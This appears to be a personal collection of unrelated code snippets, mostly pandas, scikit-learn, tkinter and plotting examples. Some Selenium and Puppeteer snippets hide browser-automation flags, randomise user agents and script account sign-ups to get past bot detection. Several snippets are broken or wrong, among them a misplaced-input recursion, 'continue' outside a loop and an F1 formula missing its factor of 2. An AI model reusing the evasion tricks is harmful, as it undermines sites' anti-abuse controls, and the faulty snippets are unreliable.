> 0 red
> 1 green
> 2 blue
JS

favMovies.forEach(function(favMovie) {
  console.log('I really like the movie', favMovie)
})
JavaScript

for (let i=0; i < arrayName.length; i++){
  console.log(arrayName[i])
}

i.e.):

movies = ['legally blonde', 'Ms. & Ms. Smith', 'The Incredibles'];

for (let i=0; i < movies.length; i++){
  console.log(movies[i])
}

Python

for singular_array_name in array_name_pluralized:
	print(singular_array_name)

i.e.):

movies = ['legally blonde', 'Ms. & Ms. Smith', 'The Incredibles']

for movie in movies:
	print(movie)
import sklearn.datasets as datasets
X, y = datasets.make_regression(n_features=1, n_informative=1)

diabetes = datasets.load_diabetes()
X_diabets, y_diabetes = diabetes.data, diabetes.target
# correct approach for normalizing the data after the data is split before the model is evaluated
from sklearn.datasets import make_classification
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import MinMaxScaler
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import accuracy_score
# define dataset
X, y = make_classification(n_samples=1000, n_features=20, n_informative=15, n_redundant=5, random_state=7)
# split into train and test sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=1)
# define the scaler
scaler = MinMaxScaler()
# fit on the training dataset
scaler.fit(X_train)
# scale the training dataset
X_train = scaler.transform(X_train)
# scale the test dataset
X_test = scaler.transform(X_test)
# fit the model
model = LogisticRegression()
model.fit(X_train, y_train)
# evaluate the model
yhat = model.predict(X_test)
# evaluate predictions
accuracy = accuracy_score(y_test, yhat)
print('Accuracy: %.3f' % (accuracy*100))
...
# define the scaler
scaler = MinMaxScaler()
# fit on the training dataset
scaler.fit(X_train)
# scale the training dataset
X_train = scaler.transform(X_train)
# scale the test dataset
X_test = scaler.transform(X_test)
import apiritif
from apiritif import http

def testRandomDogImage():
    with apiritif.transaction('Random'):
        response = http.get("https://dog.ceo/api/breeds/image/random")
        response.assert_ok()
        response.assert_header_value('Content-Type', 'application/json')
        response.assert_has_header('X-Cache')
        response.assert_in_body('"success"')
        response.assert_jsonpath('status', 'success')
# (1) Creare cartella di progetto
# (2) Posizionarsi nella cartella 
# (3) 
C:<Path fino alla cartella>>python -m venv v_env
from datetime import datetime, timedelta

nine_hours_from_now = datetime.now() + timedelta(hours=9)
#datetime.datetime(2012, 12, 3, 23, 24, 31, 774118)
def power(base, exp):

   if (exp == 1):
      return (base)
   if (exp != 1):
      return (base * power(base, exp - 1))

   base = int(input("Enter base: "))
   exp = int(input("Enter exponential value: "))

   print("Result:", power(base, exp))
def new_decile_table(y_true, y_pred, y_prob, change_deciles=10, labels=True, round_decimal=3):
""""""
y_true = np.array(y_true)
y_pred = np.array(y_pred)
y_prob = np.array(y_prob)

df = pd.DataFrame()
df['y_true'] = y_true
df['y_pred'] = y_pred
df['y_prob'] = y_prob

df.sort_values('y_prob', ascending=False, inplace=True)
df['decile'] = np.linspace(1, change_deciles+1, len(df), False, dtype=int)

dt = df.groupby('decile').apply(lambda x: pd.Series([
np.min(x['y_prob']),
np.max(x['y_prob']),
np.mean(x['y_prob']),
np.size(x['y_prob']),
np.sum(x['y_true']),
np.size(x['y_true'][x['y_true']==0]),
np.size(x['y_true'][(x['y_true']==1) & (x['y_pred']==1)]), # True Positive
np.size(x['y_true'][(x['y_true']==1) & (x['y_pred']==0)]), # False Negative
np.size(x['y_true'][(x['y_true']==0) & (x['y_pred']==1)]), # False Positive
np.size(x['y_true'][(x['y_true']==0) & (x['y_pred']==0)]), # False Positive
],
index=(["prob_min",
"prob_max",
"prob_avg",
"count_istanze",
"actual_1",
"actual_0",
"true_positive",
"false_negative",
"false_positive",
"true_negative"])
)).reset_index()


dt['prob_min']=dt['prob_min'].round(round_decimal)
dt['prob_max']=dt['prob_max'].round(round_decimal)
dt['prob_avg']=round(dt['prob_avg'],round_decimal)

dt['precision_1'] = dt['true_positive'] / (dt['true_positive']+dt['false_positive'])
dt['recall_1'] = dt['true_positive'] / (dt['true_positive']+dt['false_negative'])
dt["f1_score"] = (dt['precision_1'] * dt['recall_1']) / (dt['precision_1'] + dt['recall_1'])

return dt
#loc for a label

txns1.loc[txns1.category == 'CUBA-portal']

#iloc for an index


https://www.shanelynn.ie/pandas-iloc-loc-select-rows-and-columns-dataframe/
if 4 <= day <= 20 or 24 <= day <= 30:
    suffix = "th"
else:
    suffix = ["st", "nd", "rd"][day % 10 - 1]
from google.colab import auth
auth.authenticate_user()

import gspread
from oauth2client.client import GoogleCredentials

gc = gspread.authorize(GoogleCredentials.get_application_default())

worksheet = gc.open('My cool spreadsheet').sheet1

# get_all_values gives a list of rows.
rows = worksheet.get_all_values()
print(rows)

import pandas as pd
pd.DataFrame.from_records(rows)
def create_sheet(sheet, df):

            # create rows generator, discarding index, header
            rows = dataframe_to_rows(df, index=False, header=False)

            # iterate throw row and col of df (specify starting coordinates of table to write)
            for r_idx, row in enumerate(rows, self.START_ROW):
                for c_idx, value in enumerate(row, self.START_COL):
                    sheet.cell(row=r_idx, column=c_idx, value=value)
import pandas as pd
from tqdm import tqdm

df1 = pd.DataFrame({'lkey': 1000*['a', 'b', 'c', 'd'],'lvalue': np.random.randint(0,int(1e8),4000)})
df2 = pd.DataFrame({'rkey': 1000*['a', 'b', 'c', 'd'],'rvalue': np.random.randint(0, int(1e8),4000)})

#this is how you activate the pandas features in tqdm
tqdm.pandas()
#call the progress_apply feature with a dummy lambda 
df1.merge(df2, left_on='lkey', right_on='rkey').progress_apply(lambda x: x)
monthly_sales['moving_avg_sales'] = monthly_sales.iloc[:,2].rolling(window=3).mean()

monthly_sales['moving'] = monthly_sales.groupby('category')['actual_sales'].transform(lambda x: x.rolling(10, 1).mean())
monthly_sales['moving1'] = monthly_sales.groupby(['category', 'distributorid'])['actual_sales'].transform(lambda x: x.rolling(3).mean())

pd.options.display.float_format = '{:.2f}'.format
df['year'] = df['insert_dataframe_here'].dt.year
df['month'] = df['insert_dataframe_here'].dt.month
##straight copy of the columns
seg_sales = txns1[['seg_met','ADV']].copy()


##copy of only unique values in the column
seg_sales1 = txns1[['seg_met','segment', 'distributionMethodSubType', 'ADV']].drop_duplicates()
create new column use transform: get the count of distributor_id for each seg

df.groupby(["seg_met"]).distributorid.transform("count")

just to get the counts use: 
df['distributorid'].groupby([df.seg_met]).agg(['count'])

#these do the same thing! 
pred_table.groupby('seg_met')['predicted_sales'].sum()
pred_table['predicted_sales'].groupby(pred_table.seg_met).sum()


# produces Pandas Series
data.groupby('month')['duration'].sum() 
# Produces Pandas DataFrame
data.groupby('month')[['duration']].sum()
def load_table_to_df(fp, **kwargs):

    if fp.endswith('.xls'):
        result_df = pd.read_excel(fp, **kwargs)
        
    elif fp.endswith('.xlsx'):
        result_df = pd.read_excel(fp, engine='openpyxl', **kwargs)
        
    elif fp.endswith('.csv') or fp.endswith('.txt'):
        result_df = pd.read_csv(fp, **kwargs)
        
    elif fp.endswith('.parquet'):
        result_df = pd.read_parquet(fp, **kwargs)
        
    else:
        return "Wrong file extension"

    print('     -->  Succesfully loaded {}'.format(fp))
    return result_df
del df['column name']
def fibonacci(n):
    # return a list of fibonacci numbers
    numbers = [0, 1]
    for i in range(2,n):
        numbers.append(numbers[i-1] + numbers[i-2])
    return numbers[0:n]
import cv2
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline
class MyThing:
    def __init__(self,name,location,length):
        self.name = name
        self.location = location
        self.length = length

    def __hash__(self):
        return hash((self.name, self.location))

    def __eq__(self, other):
        return (self.name, self.location) == (other.name, other.location)

    def __ne__(self, other):
        # Not strictly necessary, but to avoid having both x==y and x!=y
        # True at the same time
        return not(self == other)
#Import the tkinter library
from tkinter import *

#Create an instance of tkinter frame
win = Tk()

#Set the geometry
win.geometry("600x250")

win.eval('tk::PlaceWindow . center')

win.mainloop()
from functools import partial
#(...)
action_with_arg = partial(action, arg)
button = Tk.Button(master=frame, text='press', command=action_with_arg)
#Import the required libraries
from tkinter import *

#Create an instance of Tkinter Frame
win = Tk()

#Set the geometry
win.geometry("700x350")

#Set the default color of the window
win.config(bg='#aad5df')

#Create a Label to display the text
label=Label(win, text= "Hello World!",font= ('Helvetica 18 bold'), background= 'white', foreground='purple1')
label.pack(pady = 50)

win.update()

#Return and print the width of label widget
width = label.winfo_width()
print("The width of the label is:", width, "pixels")

win.mainloop()
sudo apt-get install xclip xsel -y
import os
print(os.popen('xsel').read())



python get-selected.py
class Article(models.Model):
    # ...
    likers = ArrayField(
        models.GenericIPAddressField(), default=list, blank=True, null=False
    )

    @property
    def nb_likes(self) -> int:
        return len(self.likers)
for widget in frame.winfo_children():
    widget.destroy()
import tkinter as tk

LARGE_FONT= ("Verdana", 12)
HEIGHT = 768
WIDTH = 1366


class MainApp():
    def __init__(self, master):
        self.master = master
        self.master.title("Sales System") 
        self.master.geometry("%dx%d+0+0" % (WIDTH, HEIGHT)) 

        self.frames = {}

        start_page = StartPage(master)

        self.frames[StartPage] = start_page

        start_page.grid(row=0, column=0, sticky="nsew")
        self.master.grid_rowconfigure(0, weight=1)
        self.master.grid_columnconfigure(0, weight=1)

        self.show_frame(StartPage)

    def show_frame(self, cont):

        frame = self.frames[cont]
        frame.tkraise()


class base_frame(tk.Frame):
    def __init__(self, master, *args, **kwargs):
        tk.Frame.__init__(master, *args, **kwargs)

        b_image = tk.PhotoImage(file='background.png')
        b_label = tk.Label(self, image=b_image)
        b_label.image = b_image
        b_label.place(x=0, y=0, relwidth=1, relheight=1)

        topleft_label = tk.Label(self, bg='black', fg='white', text="Welcome - Login Screen", justify='left', anchor="w", font="Verdana 12")
        topleft_label.place(relwidth=0.5, relheight=0.05, relx=0.25, rely=0, anchor='n')

class StartPage(base_frame):

    def __init__(self, parent):
        super().__init__(self, parent)
        label = tk.Label(self, text="Start Page", font=LARGE_FONT)
        label.pack(pady=10,padx=10)

def main():
    root = tk.Tk() # MainApp()
    main_app = MainApp(root)
    root.mainloop()

if __name__ == '__main__':
    main()
from tkinter import  *

qw=Tk()
qw.overrideredirect(1) # will remove the top badge of window
qw.mainloop()
lins = pd.Series(lines, name='img_path')
train_df = pd.concat([train_df, lins], axis=1)
import sys
sys.path.append("path_to_folder")
# I have this list
mylist = [
    {'thing': 'A', 'count': 4},
    {'thing': 'B', 'count': 2},
    {'thing': 'A', 'count': 6}]

# And I want to make this one where duplicates are merged
newlist = [
    {'thing': 'A', 'count': 10},
    {'thing': 'B', 'count': 2}]
# Default inner join
df3 = pd.merge(df1, df2, left_index=True, right_index=True)
print (df3)
   a  b  c   d
a  0  5  0  10
b  1  3  1  20

# Default left join
df4 = df1.join(df2)
print (df4)
   a  b    c     d
a  0  5  0.0  10.0
b  1  3  1.0  20.0
c  2  6  NaN   NaN
d  3  9  NaN   NaN
e  4  2  NaN   NaN
f  5  4  NaN   NaN

# Default outer join
df5 = pd.concat([df1, df2], axis=1)
print (df5)
     a    b    c     d
a  0.0  5.0  0.0  10.0
b  1.0  3.0  1.0  20.0
c  2.0  6.0  NaN   NaN
d  3.0  9.0  NaN   NaN
e  4.0  2.0  NaN   NaN
f  5.0  4.0  NaN   NaN
h  NaN  NaN  2.0  30.0
i  NaN  NaN  3.0  40.0
In [5]:

d.loc[(d['A'].isnull()) & (d.B == 't3'), 'A']='new_val'

d

Out[5]:

         A   B
0      NaN  t1
1       t2  t2
2  new_val  t3
3       t3  t4
4  new_val  t3

[5 rows x 2 columns]
csv_data_frame.to_sql(table_name, engine, if_exists='append', chunksize=1000)
sorted(unsorted, key=lambda element: (element[1], element[2]))
fig = plt.figure(figsize = (20,8))

for i, data in ret_rates.groupby('category'):
    plt.plot(data['time_since_acqm'], data['retention'], '.', label=i)

plt.xlabel('Time Since Acquisition')
plt.ylabel('Retention')
plt.legend()
plt.show()
tempTuple = ('Welcome', 'to', 'interview', 'bit.', 'Have', 'a', 'great', 'day', [1, 2, 3])
# tempTuple[0] = 'Hello' # throws type error, tuple object does not support type assignment.
tempTuple[8].append(4) # appending a new integer i.e. 4 in a list at 8th index of the tuple ‘tempTuple’
# Printing the list at 8th index in the tuple
print(tempTuple[8]) # OUTPUT: [1, 2, 3, 4]
tempTuple[8].pop(3) # popping element at 3rd index from the list i.e. 8th index of the tuple 'tempTuple'
# Printing the list at 8th index in the tuple
print(tempTuple[8]) # OUTPUT: [1, 2, 3]
tempTuple = (1, 2, 3) # Assigning tuple all over again
# Printing the tuple
print(tempTuple) # OUTPUT: (1, 2, 3)
converters = dict((i,str) if i < 5 else (i,float) for i in range(31))
df = pd.read_excel(filename, converters=converters)
{k: d[k] for k in sorted(d, key=lambda x: to_datetime(x))}
from kivy.app import App
from kivy.core.window import Window


class WindowFileDropExampleApp(App):
    def build(self):
        Window.bind(on_dropfile=self._on_file_drop)
        return

    def _on_file_drop(self, window, file_path):
        print(file_path)
        return

if __name__ == '__main__':
    WindowFileDropExampleApp().run()
def read_excel_pgbar(excel_path, sheet_name, chunksize, usecols, dtype=object):

    try:
        # print('Getting row count of excel file')
        wb = load_workbook(excel_path, read_only=True)
        if type(sheet_name) == int:
            sheet = wb.worksheets[int(sheet_name)]
        else:
            sheet = wb[sheet_name]
        rows = sheet.max_row
        chunks = rows//chunksize + 1
        print()
        # print('Reading excel file')
        chunk_list = []

        for i in tqdm(range(chunks), desc='# Chunks read: '):
            tmp = pd.read_excel(excel_path, sheet_name=sheet_name, nrows=chunksize, skiprows=[k for k in range(i*chunksize)], usecols=usecols, dtype=dtype)
            chunk_list.append(tmp)

        myexcel = pd.concat((f for f in chunk_list), axis=0)
        print('Finish reading excel file')

        return myexcel
    except InvalidFileException:
        raise FileNotFoundError
def read_csv_pgbar(csv_path, chunksize, usecols, dtype=object):


    # print('Getting row count of csv file')

    rows = sum(1 for _ in open(csv_path, 'r')) - 1 # minus the header
    # chunks = rows//chunksize + 1
    # print('Reading csv file')
    chunk_list = []

    with tqdm(total=rows, desc='Rows read: ') as bar:
        for chunk in pd.read_csv(csv_path, chunksize=chunksize, usecols=usecols, dtype=dtype):
            chunk_list.append(chunk)
            bar.update(len(chunk))

    df = pd.concat((f for f in chunk_list), axis=0)
    print('Finish reading csv file')

    return df
df['date_of_order'] = pd.to_datetime(df['date_of_order']) # if you haven't converted it already

df.groupby(df['date_of_order'].dt.to_period('Q'))['column to aggregate'].agg(...)
# Raggruppo per X e Y e calcolo il max di Z
df.groupby(['X','Y'])['Z'].max()
import warnings
warnings.filterwarnings('ignore')
# plt.style.use('ggplot')
cm = sns.light_palette("green", as_cmap=True)
pd.option_context('display.max_colwidth', 100)
plt.rcParams['figure.figsize'] = (15,18)
import os

# I assume you have a way of loading your 
# images from the filesystem, and they come 
# out of `images` (an iterator)

NUM_AUG_REPEAT = 10
AUG_SAVE_DIR = 'data/augmented'

# create directory of not present already
if not os.path.isdir(AUG_SAVE_DIR):
    os.makedirs(AUG_SAVE_DIR)

# This will create augmentation ids for the same image
# example: '00', '01', '02', ..., '08', '09' for
#          - NUM_AUG_REPEAT = 10
aug_id = lambda x: str(x).zfill(len(str(NUM_AUG_REPEAT)))

for image in images:
    for i in range(NUM_AUG_REPEAT):
        data = {'image': image}
        augmented = augmentation(**data)
        # I assume you have a function: save_image(image_path, image)
        # You need to write this function with 
        # whatever logic necessary. (Hint: use imageio or PIL.Image)
        image_filename = f'image_name_{aug_id(i)}.png'
        save_image(os.path.join(AUG_SAVE_DIR, image_filename), augmented['image'])
now = datetime.datetime.now()
request_dict["time_now"] =  now.strftime("%Y-%m-%d %H:%M:%S")
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns

df = pd.DataFrame(np.random.randint(0,100,size=(100, 4)), columns=list('ABCD'))
print(df):
    A   B   C   D
0   31  11  65  15
1   83  21   5  87
2   16   6  81  41
3   91  78  95  70
4   26  51  26  61
..  ..  ..  ..  ..
95  31  18  91  24
96  73  97  42  45
97  76  22   2  36
98  12  43  98  27
99  33  96  67  68


probbins = [0,10,20,30,40,50,60,70,80,90,100]
df['Groups'] = pd.cut(df['D'],bins=probbins)
plt.figure(figsize=(15,6))
chart = sns.barplot(x=df['Groups'], y=df['C'],estimator=sum,ci=None)
chart.set_title('Profit/Loss')
chart.set_xticklabels(chart.get_xticklabels(), rotation=30)
# annotation here
for p in chart.patches:
             chart.annotate("%.0f" % p.get_height(), (p.get_x() + p.get_width() / 2., p.get_height()),
                 ha='center', va='center', fontsize=10, color='black', xytext=(0, 5),
                 textcoords='offset points')
plt.show()
def log_scale(x):
    C = 1 / np.log(10)
    return np.sign(x) * np.log10(1 + np.abs(x / C))
df.loc[df['DATA_NASCITA'].isin(['00000000','11921007','11970813']),'DATA_NASCITA']=np.nan
df['DATA_NASCITA'] = pd.to_datetime(df['DATA_NASCITA'], format='%Y%m%d')
df['nb_months'] = ((df.date2 - df.date1)/np.timedelta64(1, 'M'))

df['nb_months'] = df['nb_months'].astype(int)
options = webdriver.ChromeOptions()
options.add_experimental_option("excludeSwitches", ["enable-automation"])
options.add_experimental_option('useAutomationExtension', False)
options.add_argument("--disable-blink-features=AutomationControlled")
driver = webdriver.Chrome(options=options)
product_count.sort_values('occupancy_rate',ascending=False).style.format({'occupancy_rate': '{:.2f}%'.format})
df[['A', 'B']] = df['AB'].str.split(' ', 1, expand=True)
user_dict = {12: {'Category 1': {'att_1': 1, 'att_2': 'whatever'},
                  'Category 2': {'att_1': 23, 'att_2': 'another'}},
             15: {'Category 1': {'att_1': 10, 'att_2': 'foo'},
                  'Category 2': {'att_1': 30, 'att_2': 'bar'}}}

pd.DataFrame.from_dict({(i,j): user_dict[i][j] 
                           for i in user_dict.keys() 
                           for j in user_dict[i].keys()},
                       orient='index')


               att_1     att_2
12 Category 1      1  whatever
   Category 2     23   another
15 Category 1     10       foo
   Category 2     30       bar
    if year < 2020 and not (year == 2019 and quarter == 4):
        query_churn = "SELECT sum(eur) FROM salesforce_summaries WHERE (\"Type of Business\" = 'Churn' AND \"Import from Weekly KPI Excel\" = 'True') AND time >= '{quarter_start}' AND time <= '{quarter_end}'".format(
            quarter_start=quarter_start, quarter_end=quarter_end)
In [11]: pd.DataFrame(d.items())  # or list(d.items()) in python 3
Out[11]:
             0    1
0   2012-07-02  392
1   2012-07-06  392
2   2012-06-29  391
3   2012-06-28  391
...

In [12]: pd.DataFrame(d.items(), columns=['Date', 'DateValue'])
Out[12]:
          Date  DateValue
0   2012-07-02        392
1   2012-07-06        392
2   2012-06-29        391
df.groupby(['col5','col2']).size().reset_index(name='Size').groupby('col2')[[0]].max()
df1.merge(df2,left_on='name1', right_on='name2').merge(df3,left_on='name1', right_on='name3')
.drop(columns=['name2', 'name3']).rename(columns={'name1':'name'})
import pandas as pd
df = pd.DataFrame({'A':[1,1,3,2,6,2,8]})
a = df['A'].unique()
print(sorted(a))
cast_dict = {'sesso' : 'category', 'altezza' : 'float64'}

df = df.astype(cast_dict)
df.select_dtypes(include=['object', 'category']).columns
class Node:
   def __init__(self, data):
      self.left = None
      self.right = None
      self.data = data

   def PrintTree ( self ) :
       if self.left :
           self.left.PrintTree ()
       print ( self.data, end= ' ' ) ,
       if self.right :
           self.right.PrintTree ()

class Solution:
    '''
    Function to invert the tree
    '''
    def invertTree(self, root):
       if root == None:
           return
       root.left, root.right = self.invertTree(root.right),self.invertTree(root.left)
       return root

if __name__ == '__main__':
    '''
                10                                              10
              /    \                                          /    \           
            20      30              ========>>              30      20           
           /         \                                      /        \
          40          50                                  50          40 
    '''
    Tree = Node(10)
    Tree.left = Node(20)
    Tree.right = Node(30)
    Tree.left.left = Node(40)
    Tree.right.right = Node(50)
    print('Initial Tree :',end = ' ' )
    Tree.PrintTree()
    Solution().invertTree(root=Tree)
    print('\nInverted Tree :', end=' ')
    Tree.PrintTree()
import numpy as np
import pandas as pd   
from IPython.display import display_html 

df1 = pd.DataFrame(np.arange(12).reshape((3,4)),columns=['A','B','C','D',])
df2 = pd.DataFrame(np.arange(16).reshape((4,4)),columns=['A','B','C','D',])

df1_styler = df1.style.set_table_attributes("style='display:inline'").set_caption('Caption table 1')
df2_styler = df2.style.set_table_attributes("style='display:inline'").set_caption('Caption table 2')

display_html(df1_styler._repr_html_()+df2_styler._repr_html_(), raw=True)
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
python3 -m venv tutorial-env


tutorial-env\Scripts\activate.bat
import time
from time import sleep

time.sleep (60)
dus = input ('Did you solve the captcha? 1 for yes 2 for no :')

if dus == 1 :
      continue

else :
      time.sleep (60)
      tdus = input ('Did you solve the captcha? 1 for yes 2 for 
      no :')

      if tdus == 1 :
        continue
       
      else :
         exit
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
const puppeteer = require('puppeteer');

const chromeOptions = {

 headless:false,

 defaultViewport: null};

(async function main() {

 const browser = await puppeteer.launch(chromeOptions);

 const page = await browser.newPage();

 await page.goto('https://old.reddit.com/login');

})()

await page.type('#user_reg', 'some_username');

await page.type('#passwd_reg', 'SuperStrongP@ssw0rd');

await page.type('#passwd2_reg', 'SuperStrongP@ssw0rd');

await page.click('#register-form button[type=submit]');

const chromeOptions = {

 headless:false,

 defaultViewport: null,

 slowMo:15,

};
from pathlib import Path

class DisplayablePath(object):
    display_filename_prefix_middle = '├──'
    display_filename_prefix_last = '└──'
    display_parent_prefix_middle = '    '
    display_parent_prefix_last = '│   '

    def __init__(self, path, parent_path, is_last):
        self.path = Path(str(path))
        self.parent = parent_path
        self.is_last = is_last
        if self.parent:
            self.depth = self.parent.depth + 1
        else:
            self.depth = 0

    @property
    def displayname(self):
        if self.path.is_dir():
            return self.path.name + '/'
        return self.path.name

    @classmethod
    def make_tree(cls, root, parent=None, is_last=False, criteria=None):
        root = Path(str(root))
        criteria = criteria or cls._default_criteria

        displayable_root = cls(root, parent, is_last)
        yield displayable_root

        children = sorted(list(path
                               for path in root.iterdir()
                               if criteria(path)),
                          key=lambda s: str(s).lower())
        count = 1
        for path in children:
            is_last = count == len(children)
            if path.is_dir():
                yield from cls.make_tree(path,
                                         parent=displayable_root,
                                         is_last=is_last,
                                         criteria=criteria)
            else:
                yield cls(path, displayable_root, is_last)
            count += 1

    @classmethod
    def _default_criteria(cls, path):
        return True

    @property
    def displayname(self):
        if self.path.is_dir():
            return self.path.name + '/'
        return self.path.name

    def displayable(self):
        if self.parent is None:
            return self.displayname

        _filename_prefix = (self.display_filename_prefix_last
                            if self.is_last
                            else self.display_filename_prefix_middle)

        parts = ['{!s} {!s}'.format(_filename_prefix,
                                    self.displayname)]

        parent = self.parent
        while parent and parent.parent is not None:
            parts.append(self.display_parent_prefix_middle
                         if parent.is_last
                         else self.display_parent_prefix_last)
            parent = parent.parent

        return ''.join(reversed(parts))

if __name__ == "__main__":
  paths = DisplayablePath.make_tree(Path('doc'))
  for path in paths:
    print(path.displayable())
import tkinter as tk
from tkinter import ttk

LARGE_FONT= ("Verdana", 12)
NORM_FONT= ("Verdana", 10)
SMALL_FONT= ("Verdana", 8)

def popup_msg(msg):
    '''Displays a message in a pop-up'''
    popup = tk.Tk()
    popup.wm_title("! message")

    window_width = 640
    window_height = 480

    # get the screen dimension
    screen_width = popup.winfo_screenwidth()
    screen_height = popup.winfo_screenheight()

    # find the center point
    center_x = int(screen_width/2 - window_width / 2)
    center_y = int(screen_height/2 - window_height / 2)

    # set the position of the window to the center of the screen
    popup.geometry(f'{window_width}x{window_height}+{center_x}+{center_y}')

    label = ttk.Label(popup, text=msg, font=NORM_FONT)
    label.pack(side="top", fill="x", pady=10)
    B1 = ttk.Button(popup, text="Dismiss", command = popup.destroy)
    B1.pack()
    popup.mainloop()

def popup_prompt(msg, func, btn_title="click", dismiss_after_click=True):
    '''Displays a pop-up with a button and runs a function on click of the button'''
    popup = tk.Tk()
    popup.wm_title("? prompt")

    window_width = 640
    window_height = 480

    # get the screen dimension
    screen_width = popup.winfo_screenwidth()
    screen_height = popup.winfo_screenheight()

    # find the center point
    center_x = int(screen_width/2 - window_width / 2)
    center_y = int(screen_height/2 - window_height / 2)

    # set the position of the window to the center of the screen
    popup.geometry(f'{window_width}x{window_height}+{center_x}+{center_y}')

    label = ttk.Label(popup, text=msg, font=NORM_FONT)
    label.pack(side="top", fill="x", pady=10)
    command = lambda : [popup.destroy(), func()]
    B1 = ttk.Button(popup, text=btn_title, command=command)
    B1.pack()
    popup.mainloop()
df = df['column'].value_counts(sort=True)

df = df['column'].value_counts(normalize=True)
from zipfile import ZipFile
zf = ZipFile("files.zip")
zf.namelist()
import pandas as pd
	
df_1 = pd.DataFrame(
	[['Somu', 68, 84, 78, 96],
	['Kiku', 74, 56, 88, 85],
	['Ajit', 77, 73, 82, 87]],
	columns=['name', 'physics', 'chemistry','algebra','calculus'])

df_2 = pd.DataFrame(
	[['Amol', 72, 67, 91, 83],
	['Lini', 78, 69, 87, 92]],
	columns=['name', 'physics', 'chemistry','science','calculus'])	

frames = [df_1, df_2]

#append dataframes
df = df_1.append(df_2, ignore_index=True, sort=False)

#print dataframe
print("df_1\n------\n",df_1)
print("\ndf_2\n------\n",df_2)
print("\ndf\n--------\n",df)
layer = iface.activeLayer()

for feat in layer.getFeatures():
    if feat["index"] > "0":
        print(feat["index"])
variable = dataframe['column_name'].value_counts()
{variable} = {dataframe}['{column}'].unique()
{dataframe}['{column}'] = {dataframe}['{column}'].astype({datatype})
np.random.seed({your_seed})
np.random.randint(range)
options = ["Go to bed", "Game all night", "Have a good cry", "Die"]

print("Please choose what you would like to do tonight: \n1. Go to bed "
      "\n2. Game all night \n3. Have a good cry\n4. Die")
int(input())

for answer in index(options):
    
import plotly.graph_objects as go
from plotly.subplots import make_subplots
import plotly.io as pio
import plotly.express as px
pio.templates.default = "seaborn"
import pandas as pd
import re

curvas_a_ocultar = ['Depreciación Implicita','Inflación Implicita','Depreciación Real Implicta']

Implicita_Fig = make_subplots(
    rows=1, cols=1,
    shared_xaxes=True,
    vertical_spacing=0.03,
    specs=[[{"type": "scatter"}]]
)

Implicita_Fig.add_trace(go.Scatter(x=Curva_CUI[(Curva_CUI.fecha == Fecha_Reporte) & (Curva_CUI.Plazo <= 20) ].Plazo, 
                                              y=Curva_CUI[(Curva_CUI.fecha == Fecha_Reporte) & (Curva_CUI.Plazo <= 20)].valor/100,
                    line = dict(color='red', width=4, dash='solid'),
                    name='CUI'),row=1, col=1)
Implicita_Fig.add_trace(go.Scatter(x=Curva_CUD[(Curva_CUD.fecha == Fecha_Reporte) & (Curva_CUD.Plazo <= 20) ].Plazo, 
                                              y=Curva_CUD[(Curva_CUD.fecha == Fecha_Reporte) & (Curva_CUD.Plazo <= 20)].valor/100,
                   line = dict(color='green', width=4, dash='solid'),
                    name='CUD'),row=1, col=1)
Implicita_Fig.add_trace(go.Scatter(x=Curva_ITLUP[(Curva_ITLUP.fecha == Fecha_Reporte) & (Curva_ITLUP.Plazo <= 20) ].Plazo, 
                                              y=Curva_ITLUP[(Curva_ITLUP.fecha == Fecha_Reporte) & (Curva_ITLUP.Plazo <= 20)].valor/100,
                     line = dict(color='blue', width=4, dash='solid'),
                    name='ITLUP'),row=1, col=1)
Implicita_Fig.add_trace(go.Scatter(x=Curvas[(Curvas.fecha_CUI == Fecha_Reporte) & (Curvas.Plazo_CUI <= 20) ].Plazo_CUI, 
                                              y=Curvas[(Curvas.fecha_CUI == Fecha_Reporte) & (Curvas.Plazo_CUI <= 20)].Depreciacion_Implicta/100,
                    line = dict(color='purple', width=4, dash='longdashdot'),
                                   name='Depreciación Implicita'),row=1, col=1)
Implicita_Fig.add_trace(go.Scatter(x=Curvas[(Curvas.fecha_CUI == Fecha_Reporte) & (Curvas.Plazo_CUI <= 20) ].Plazo_CUI, 
                                              y=Curvas[(Curvas.fecha_CUI == Fecha_Reporte) & (Curvas.Plazo_CUI <= 20)].Inflacion_Implicta/100,
                     line = dict(color='orange', width=4, dash='dashdot'),
                                   name='Inflación Implicita'),row=1, col=1)
Implicita_Fig.add_trace(go.Scatter(x=Curvas[(Curvas.fecha_CUI == Fecha_Reporte) & (Curvas.Plazo_CUI <= 20) ].Plazo_CUI, 
                                              y=Curvas[(Curvas.fecha_CUI == Fecha_Reporte) & (Curvas.Plazo_CUI <= 20)].Depreciación_real_Implicta/100,
                     line = dict(color='grey', width=4, dash='longdash'),
                                   name='Depreciación Real Implicta',text=Curvas.Depreciación_real_Implicta),row=1, col=1)
Implicita_Fig.update_layout(
    height=600,width=1500,
    showlegend=True,
    title_text="Curvas",
)
Implicita_Fig.layout.yaxis.tickformat = ',.1%'
Implicita_Fig.update_traces(texttemplate='%{text:,.2%}',textposition='top center')
Implicita_Fig.update_xaxes(showline=True, linewidth=0.1, linecolor='grey', mirror=True)
Implicita_Fig.update_yaxes(showline=True, linewidth=0.1, linecolor='grey', mirror=True)
Implicita_Fig.for_each_trace(lambda trace: trace.update(visible="legendonly") 
                   if trace.name in curvas_a_ocultar else ())


Implicita_Fig.show()
# function to replace rows in the provided column of the provided dataframe
# that match the provided string above the provided ratio with the provided string
def replace_matches_in_column(df, column, string_to_match, min_ratio = 47):
    # get a list of unique strings
    strings = df[column].unique()
    
    # get the top 10 closest matches to our input string
    matches = fuzzywuzzy.process.extract(string_to_match, strings, 
                                         limit=10, scorer=fuzzywuzzy.fuzz.token_sort_ratio)

    # only get matches with a ratio > 90
